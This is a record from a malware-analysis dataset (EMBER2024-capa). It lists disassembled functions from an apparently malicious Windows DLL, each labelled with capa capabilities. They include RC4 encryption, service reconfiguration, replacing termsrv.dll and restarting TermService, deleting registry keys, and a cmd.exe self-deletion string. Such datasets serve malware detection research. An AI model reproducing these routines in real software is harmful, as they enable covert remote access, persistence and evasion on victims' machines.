joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000507e
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x408
push ebx
push esi
push edi
xor esi, esi
mov ebx, edx
push esi
push esi
push esi
push esi
push dword [0x10026b24]
call dword [0x1002685c]
mov edi, eax
test edi, edi
je 0x1000513c
push ebp
push esi
push 0x846a0000
push esi
push esi
push ebx
push edi
call dword [0x10026ae8]
mov ebp, eax
test ebp, ebp
je 0x10005134
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
push dword [esp + 0x434]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000512d
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
lea eax, [esp + 0x10]
push eax
push 0x400
lea eax, [esp + 0x20]
push eax
push ebp
call dword [0x10026878]
test eax, eax
je 0x1000511d
cmp dword [esp + 0x10], esi
jbe 0x10005123
push esi
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x18]
lea eax, [esp + 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [esp + 0x10], esi
ja 0x100050e7
xor esi, esi
push ebx
inc esi
call dword [sym.imp.NTDLL.dll_NtClose]
push ebp
call dword [0x10026858]
push edi
call dword [0x10026858]
pop ebp
pop edi
mov eax, esi
pop esi
pop ebx
add esp, 0x408
ret
Function at 0x10005b30
Capabilities:
Modify service
Query service status
Start service

Disassembly:
sub esp, 0x24
push ebp
push esi
mov esi, ecx
mov ebp, edx
test esi, esi
je 0x10005be1
xor ecx, ecx
lea eax, [esp + 8]
push eax
push ecx
push ecx
push esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
je 0x10005bb9
mov eax, dword [esp + 8]
push edi
push eax
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
mov edi, eax
test edi, edi
je 0x10005bb8
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x14]
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
je 0x10005baa
cmp dword [edi + 4], 2
je 0x10005baa
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ecx, eax
call fcn.1000350d
pop edi
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x14], 4
jne 0x10005bd0
test eax, eax
jne 0x10005bdc
push ebp
push dword [esp + 0x34]
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
xor eax, eax
inc eax
jmp 0x10005be3
xor eax, eax
pop esi
pop ebp
add esp, 0x24
ret

Function at 0x10005e0c
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
xor esi, esi
mov dword [esp + 0x10], ecx
push edi
mov eax, esi
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jl 0x10005e1e
mov ebp, esi
mov edi, esi
mov esi, edx
mov eax, edi
mov bl, byte [esp + edi + 0x18]
cdq
idiv esi
movzx eax, word [ecx + edx*2]
add ebp, eax
movzx ecx, bl
add ebp, ecx
and ebp, 0x800000ff
jns 0x10005e54
dec ebp
or ebp, 0xffffff00
inc ebp
mov al, byte [esp + ebp + 0x18]
mov ecx, dword [esp + 0x14]
mov byte [esp + edi + 0x18], al
inc edi
mov byte [esp + ebp + 0x18], bl
cmp edi, 0x100
jl 0x10005e30
xor esi, esi
mov ebx, esi
mov edi, esi
cmp dword [esp + 0x120], ebx
jle 0x10005ed4
mov ebp, dword [esp + 0x11c]
inc esi
and esi, 0x800000ff
jns 0x10005e94
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [esp + esi + 0x18]
movzx edx, cl
add edi, edx
and edi, 0x800000ff
jns 0x10005ead
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edi + 0x18], cl
movzx eax, byte [esp + esi + 0x18]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, dword [esp + 0x120]
jl 0x10005e83
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x108
ret
Function at 0x10005ee2
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
xor esi, esi
mov dword [esp + 0x10], ecx
push edi
mov eax, esi
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jl 0x10005ef4
mov ebp, esi
mov edi, esi
mov esi, edx
mov eax, edi
mov bl, byte [esp + edi + 0x18]
cdq
idiv esi
movzx eax, byte [edx + ecx]
add ebp, eax
movzx ecx, bl
add ebp, ecx
and ebp, 0x800000ff
jns 0x10005f2a
dec ebp
or ebp, 0xffffff00
inc ebp
mov al, byte [esp + ebp + 0x18]
mov ecx, dword [esp + 0x14]
mov byte [esp + edi + 0x18], al
inc edi
mov byte [esp + ebp + 0x18], bl
cmp edi, 0x100
jl 0x10005f06
mov ebp, dword [esp + 0x11c]
xor esi, esi
mov edi, esi
mov ebx, esi
inc esi
and esi, 0x800000ff
jns 0x10005f61
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [esp + esi + 0x18]
movzx edx, cl
add edi, edx
and edi, 0x800000ff
jns 0x10005f7a
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edi + 0x18], cl
movzx eax, byte [esp + esi + 0x18]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, 6
jl 0x10005f50
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x108
ret
Function at 0x10006eb0
Capabilities:
Copy file
Get disk size
Move file
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
push edi
push 0x2e
pop eax
push 0x62
mov word [ebp - 0x14], ax
mov edi, ecx
pop eax
push 0x61
mov word [ebp - 0x12], ax
pop eax
push 0x6b
mov word [ebp - 0x10], ax
pop eax
mov word [ebp - 0xe], ax
xor eax, eax
mov word [ebp - 0xc], ax
lea eax, [ebp - 0x14]
push eax
push dword [0x1002689c]
lea eax, [ebp - 0x23c]
push 0x1001fccc
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [ebp - 0x23c]
add esp, 0x10
push 2
push eax
push dword [0x1002689c]
call esi
test eax, eax
je 0x10007046
push ebx
xor ebx, ebx
lea eax, [ebp - 0x23c]
push ebx
push dword [0x1002689c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x10006f4e
push 2
push dword [0x1002689c]
lea eax, [ebp - 0x23c]
push eax
call esi
jmp 0x10007045
push ebx
push ebx
push 3
push ebx
push 1
push 0xc0000000
push dword [0x1002689c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000703e
push ebx
push ebx
push ebx
push 4
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebx, eax
test ebx, ebx
je 0x10007037
xor eax, eax
push eax
push eax
push eax
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x1000702e
push 0x3a
pop eax
mov word [ebp - 6], ax
xorps xmm0, xmm0
push 0x5c
pop eax
mov word [ebp - 4], ax
xor eax, eax
mov word [ebp - 2], ax
mov eax, dword [0x100268ac]
movlpd qword [ebp - 0x30], xmm0
movlpd qword [ebp - 0x28], xmm0
movlpd qword [ebp - 0x20], xmm0
mov ax, word [eax]
mov word [ebp - 8], ax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x1000702e
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
ja 0x10007009
mov eax, dword [ebp - 0x20]
jb 0x10007005
cmp eax, edi
jae 0x10007009
test ecx, ecx
jne 0x10007005
test eax, eax
je 0x10007009
mov edi, eax
shr edi, 1
test edi, edi
je 0x1000702e
push 0
push 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x1000702e
xor eax, eax
push eax
push eax
push eax
push esi
call edi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call dword [sym.imp.NTDLL.dll_NtClose]
push esi
call dword [sym.imp.NTDLL.dll_NtClose]
pop ebx
pop edi
pop esi
leave
ret
Function at 0x1000704a
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x40
xor eax, eax
mov dword [esp + 0x1c], edx
push edi
mov edi, ecx
inc eax
mov dword [esp + 4], eax
test edi, edi
je 0x10007114
mov ecx, 0x5a4d
cmp word [edi], cx
jne 0x10007114
push ebp
mov ebp, dword [edi + 0x3c]
cmp dword [ebp + edi], 0x4550
jne 0x10007113
push ebx
mov ebx, dword [ebp + edi + 0x78]
add ebx, edi
mov ecx, dword [ebx + 0x1c]
mov edx, dword [ebx + 0x20]
add ecx, edi
mov dword [esp + 0x30], ecx
add edx, edi
mov ecx, dword [ebx + 0x24]
add ecx, edi
mov dword [esp + 0x38], edx
mov dword [esp + 0x2c], ecx
xor ecx, ecx
mov dword [esp + 0x14], ecx
cmp dword [ebx + 0x18], ecx
jbe 0x10007112
push esi
mov esi, dword [edx + ecx*4]
lea eax, [esp + 0x14]
and dword [esp + 0x14], 0
add esi, edi
push eax
mov ecx, esi
call fcn.1000b9a0
push dword [esp + 0x14]
mov edx, esi
call fcn.1000a2ef
pop ecx
mov edx, eax
xor ecx, ecx
xor edx, dword [esp + 0x58]
mov dword [esp + 0x28], ecx
cmp dword [esp + 0x54], ecx
jle 0x100070fb
mov eax, dword [esp + 0x2c]
cmp edx, dword [eax]
je 0x10007119
inc ecx
add eax, 0x10
mov dword [esp + 0x28], ecx
cmp ecx, dword [esp + 0x54]
jl 0x100070e9
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x3c]
inc ecx
mov dword [esp + 0x18], ecx
cmp ecx, dword [ebx + 0x18]
jb 0x100070b1
pop esi
pop ebx
pop ebp
pop edi
add esp, 0x40
ret
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x18]
movzx eax, word [edx + eax*2]
mov edx, dword [esp + 0x34]
mov esi, dword [edx + eax*4]
add esi, edi
je 0x10007203
cmp esi, ebx
jb 0x10007203
mov eax, dword [ebp + edi + 0x7c]
add eax, ebx
cmp esi, eax
jae 0x10007203
push esi
call dword [sym.imp.SHLWAPI.dll_StrDupA]
mov dword [esp + 0x14], eax
test eax, eax
je 0x100070fb
and dword [esp + 0x24], 0
push 0x2e
push eax
call dword [sym.imp.SHLWAPI.dll_StrChrA]
test eax, eax
je 0x100071ea
push dword [esp + 0x14]
mov byte [eax], 0
inc eax
mov dword [esp + 0x3c], eax
mov eax, dword [0x10026bdc]
test eax, eax
je 0x10007184
call eax
jmp 0x1000718a
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x20], eax
test eax, eax
je 0x100071ea
mov ecx, dword [esp + 0x38]
lea eax, [esp + 0x1c]
and dword [esp + 0x1c], 0
push eax
mov dword [esp + 0x28], 1
call fcn.1000b9a0
push dword [esp + 0x1c]
mov edx, dword [esp + 0x3c]
call fcn.1000a2ef
xor eax, dword [esp + 0x5c]
lea edx, [esp + 0x44]
push dword [esp + 0x5c]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x48], eax
xor eax, eax
push 0x10
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
call fcn.1000704a
mov esi, dword [esp + 0x58]
add esp, 0xc
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [esp + 0x24], 0
je 0x100070fb
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
add ecx, ecx
mov eax, dword [edx + ecx*8 + 0xc]
test eax, eax
je 0x10007215
mov dword [eax], esi
jmp 0x10007219
mov dword [edx + ecx*8 + 0xc], esi
mov eax, dword [esp + 0x10]
xor ecx, ecx
test esi, esi
cmove eax, ecx
mov dword [esp + 0x10], eax
jmp 0x100070ff
Function at 0x100074d5
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
push esi
push edi
mov edi, dword [0x100268ac]
mov esi, ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100074fa
push 1
mov edx, edi
mov ecx, esi
call fcn.1000494b
pop ecx
jmp 0x100074fc
xor eax, eax
pop edi
pop esi
pop ecx
ret

Function at 0x100077e3
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, edx
test edi, edi
jne 0x100077fb
test esi, esi
je 0x1000785a
cmp dword [0x10026bc8], 0
je 0x1000780b
xor edx, edx
call fcn.10003e37
test edi, edi
je 0x10007856
push 0x52
push str.GlobalRMSServerGlobal
lea eax, [ebp - 0x210]
push str._s_c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, eax
test esi, esi
je 0x10007850
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.NTDLL.dll_NtClose]
pop edi
xor eax, eax
pop esi
leave
ret
test esi, esi
jne 0x10007862
push 5
pop ecx
call fcn.10009b92
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1000786b
Capabilities:
Modify service

Disassembly:
push ecx
push ebx
push esi
push edi
push 1
push str.ServicesActive
xor esi, esi
mov dword [esp + 0x14], edx
push esi
mov ebx, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x100078c1
push ebp
push 2
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebp, eax
test ebp, ebp
je 0x100078bd
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
push dword [esp + 0x30]
push 0xffffffffffffffff
push ebp
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push ebp
mov esi, eax
call ebx
push edi
call ebx
pop ebp
pop edi
mov eax, esi
pop esi
pop ebx
pop ecx
ret
Function at 0x10007c79
Capabilities:
Delete registry key
Delete registry value

Disassembly:
sub esp, 0x210
xor edx, edx
inc edx
call fcn.10003e37
test eax, eax
je 0x10007d55
cmp dword [0x10026be4], 0
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
mov ebx, str.WpnUserService_6ac92
mov ebp, reloc.OLEAUT32.dll_SysReAllocString
je 0x10007d05
push 0x1001ef10
xor esi, esi
lea eax, [esp + 0x18]
push esi
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
push str._s_s_c_s
push eax
call edi
add esp, 0x18
mov dword [esp + 0x10], esi
lea eax, [esp + 0x10]
push esi
push eax
push esi
push 0xf023f
push esi
push esi
push esi
lea eax, [esp + 0x30]
push eax
push ebp
call dword [0x100268c8]
test eax, eax
jne 0x10007d05
push ebx
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push 0x5c
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea eax, [esp + 0x24]
push str._s_s_c_s
push eax
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
lea eax, [esp + 0x2c]
add esp, 0x18
push eax
push ebp
call esi
push 0x1001ef10
push ebx
push str.Services_
lea eax, [esp + 0x20]
push str.SYSTEMCurrentControlSet_s_s_s
push eax
call edi
add esp, 0x14
lea eax, [esp + 0x14]
push eax
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x210
ret
Function at 0x1000813d
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x214
push ebx
push edi
mov ebx, edx
xor edi, edi
test ebx, ebx
je 0x1000815a
call fcn.100058a7
test eax, eax
je 0x100082d2
lea eax, [esp + 0xc]
mov dword [esp + 8], edi
push ebp
push eax
lea edx, [esp + 0x18]
mov dword [esp + 0x14], edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x18], edi
call fcn.1000363f
mov ebp, str.TermService
pop ecx
cmp eax, 0x426
jne 0x100081ba
push 2
pop edx
mov ecx, ebp
call fcn.1000786b
test eax, eax
je 0x100082d1
mov ecx, ebp
call fcn.10009edc
test eax, eax
je 0x100082d1
lea eax, [esp + 0x10]
push eax
lea edx, [esp + 0x18]
lea ecx, [esp + 0x10]
call fcn.1000363f
pop ecx
test eax, eax
jne 0x100082d1
call fcn.1000a97f
mov ecx, dword [esp + 0xc]
call fcn.1000a0e3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
je 0x100081ec
call fcn.10001056
test eax, eax
je 0x100082d1
lea eax, [esp + 0x18]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0x5c
pop ecx
cmp word [esp + eax*2 + 0x16], cx
je 0x10008213
mov word [esp + eax*2 + 0x18], cx
xor ecx, ecx
mov word [esp + eax*2 + 0x1a], cx
inc eax
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [esp + 0x18]
push esi
push str.termsrvw.dll
lea eax, [ecx + eax*2]
push eax
call ebp
test ebx, ebx
jne 0x10008268
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x1c]
push eax
call esi
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push str..ini
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionW]
lea eax, [esp + 0x1c]
push eax
call esi
push str._SystemRoot_System32_termsrv.dll
lea eax, [esp + 0x20]
push eax
call ebp
lea ecx, [esp + 0x1c]
call fcn.10003bc7
mov esi, dword [esp + 0x14]
test esi, esi
jle 0x100082b5
mov ebp, dword [esp + 0x18]
mov ecx, dword [ebp + edi*4]
call fcn.10009edc
push dword [ebp + edi*4]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ecx, eax
call fcn.1000350d
inc edi
cmp edi, esi
jl 0x1000827d
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ecx, eax
call fcn.1000350d
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, str.TermService
call fcn.10009edc
mov ecx, ebx
call fcn.100078c8
mov ecx, ebx
call fcn.1000ae1a
xor edi, edi
inc edi
pop esi
pop ebp
mov eax, edi
pop edi
pop ebx
add esp, 0x214
ret
Function at 0x10009edc
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 1
push str.ServicesActive
xor esi, esi
mov ebx, ecx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x10009f50
push 0x10
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
je 0x10009f49
mov dword [ebp - 4], 2
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x10009f3f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x10009f3f
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp - 4], 1
jne 0x10009f12
jmp 0x10009f42
xor esi, esi
inc esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x1000a1e1
Capabilities:
Check http status code

Disassembly:
sub esp, 0x14
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebp
push esi
push edi
push 0x2000
mov dword [esp + 0x24], edx
xor edi, edi
mov dword [esp + 0x18], ecx
xor esi, esi
call ebx
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
mov ebp, eax
test ebp, ebp
je 0x1000a2df
and dword [esp + 0x18], esi
lea eax, [esp + 0x1c]
push esi
push eax
lea eax, [esp + 0x20]
mov dword [esp + 0x24], 4
push eax
push 0x20000013
push dword [esp + 0x24]
call dword [0x10026af8]
test eax, eax
je 0x1000a2d5
cmp dword [esp + 0x18], 0xc8
jne 0x1000a2d5
and dword [esp + 0x10], esi
jmp 0x1000a2a8
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1000a2d5
cmp edi, 0x100000
ja 0x1000a2c3
inc eax
add eax, edi
push eax
test esi, esi
jne 0x1000a27c
call ebx
xor edx, edx
mov ecx, eax
call fcn.10007d5c
jmp 0x1000a28a
push esi
call ebx
mov ecx, eax
call fcn.1000501a
test eax, eax
je 0x1000a2c7
push dword [esp + 0x10]
mov esi, eax
push ebp
lea eax, [esi + edi]
push eax
call dword [sym.imp.NTDLL.dll_RtlMoveMemory]
add edi, dword [esp + 0x10]
mov byte [esi + edi], 0
and dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
push 0x1fff
push ebp
push dword [esp + 0x20]
call dword [0x10026878]
test eax, eax
jne 0x1000a257
jmp 0x1000a2d5
test esi, esi
je 0x1000a2d1
push esi
call ebx
mov ecx, eax
call fcn.1000350d
xor esi, esi
xor edi, edi
push ebp
call ebx
mov ecx, eax
call fcn.1000350d
mov eax, dword [esp + 0x20]
mov dword [eax], esi
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret

Function at 0x1000a2ef
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor esi, esi
or ecx, 0xffffffff
push edi
mov edi, edx
cmp dword [esp + 0xc], esi
jbe 0x1000a323
movzx eax, byte [esi + edi]
push 7
xor ecx, eax
pop edx
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor ecx, eax
sub edx, 1
jns 0x1000a307
inc esi
cmp esi, dword [esp + 0xc]
jb 0x1000a2fe
not ecx
pop edi
mov eax, ecx
pop esi
ret
Function at 0x1000a49a
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
push edi
push dword [0x10026b10]
mov edi, ecx
push reloc.WS2_32.dll_closesocket
call esi
push dword [0x10026ae0]
push closesocket
call esi
cmp dword [0x10026be4], 0
je 0x1000a506
push dword [0x10026ae0]
push reloc.OLEAUT32.dll_SysReAllocString
call esi
xor ecx, ecx
call fcn.10002d98
cmp dword [0x10026be4], 0
je 0x1000a506
cmp dword [0x10026b58], 0
jne 0x1000a4fa
test edi, edi
je 0x1000a506
push 1
push ecx
push ecx
call fcn.10008055
add esp, 0xc
cmp dword [0x10026bc8], 0
jne 0x1000a513
test edi, edi
je 0x1000a518
call fcn.10007c79
push 0x800
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
mov esi, eax
test esi, esi
je 0x1000a584
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call dword [sym.imp.NTDLL.dll_RtlRandom]
mov ecx, dword [0x100268ac]
push ecx
push 0xa
push eax
push ecx
push str._c_ren___s.__.._lu.bak__ping_1.1.1.1__n__u__rmdir___s___q__s
push esi
call edi
add esp, 0x14
mov edx, str.cmd.exe
xor ecx, ecx
push 0
push 0
push esi
call fcn.10002bc0
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ecx, eax
call fcn.1000350d
push 0x4b
push str.GlobalRMSServerGlobal
lea eax, [ebp - 0x210]
push str._s_c
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, eax
test esi, esi
je 0x1000a5c1
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.NTDLL.dll_NtClose]
pop edi
pop esi
leave
ret

Function at 0x1000a5e7
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
test edx, edx
je 0x1000a5f6
xor byte [eax + ecx], 0xab
inc eax
cmp eax, edx
jb 0x1000a5ed
ret

Function at 0x1000a5f7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ecx
push ecx
push ebx
mov ebx, dword [0x10026b94]
push esi
push edi
xor esi, esi
mov eax, dword [ebx + 0x3c]
mov edi, dword [eax + ebx + 0x78]
add edi, ebx
mov eax, dword [edi + 0x24]
mov ecx, dword [edi + 0x20]
add eax, ebx
add ecx, ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ecx
cmp dword [edi + 0x18], esi
jbe 0x1000a65b
push ebp
mov ebp, 0x10027a34
movzx eax, word [eax + esi*2]
add eax, dword [edi + 0x10]
cmp eax, 0x28
ja 0x1000a650
mov edx, dword [ecx + esi*4]
mov ecx, dword [0x10027a30]
add edx, ebx
call fcn.1000ab49
mov ecx, dword [esp + 0x10]
mov dword [ebp], eax
add ebp, 4
mov eax, dword [esp + 0x14]
inc esi
cmp esi, dword [edi + 0x18]
jb 0x1000a62a
pop ebp
pop edi
pop esi
pop ebx
pop ecx
pop ecx
ret

Function at 0x1000a97f
Capabilities:
Modify service

Disassembly:
push esi
mov esi, str.CertPropSvc
mov ecx, esi
call fcn.10002ce1
cmp eax, 4
jne 0x1000a99b
push 3
pop edx
mov ecx, esi
call fcn.1000786b
mov esi, str.SessionEnv
mov ecx, esi
call fcn.10002ce1
cmp eax, 4
jne 0x1000a9b7
push 3
pop edx
mov ecx, esi
pop esi
jmp fcn.1000786b
pop esi
ret